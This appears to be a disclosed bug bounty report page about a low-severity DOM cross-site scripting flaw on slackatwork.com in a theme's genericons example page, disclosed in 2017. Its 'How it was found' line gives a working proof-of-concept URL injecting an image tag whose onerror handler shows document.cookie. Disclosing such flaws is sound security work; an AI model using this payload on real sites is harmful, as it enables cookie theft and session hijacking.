Slack · Report #196624
dom xss in https://www.slackatwork.com
Validstatus
lowseverity
13upvotes
2 Mar 2017disclosed
How it was found
https://www.slackatwork.com/wp-content/themes/twentyfifteen/genericons//example.html#1<img/ src=1 onerror= alert(document.cookie)>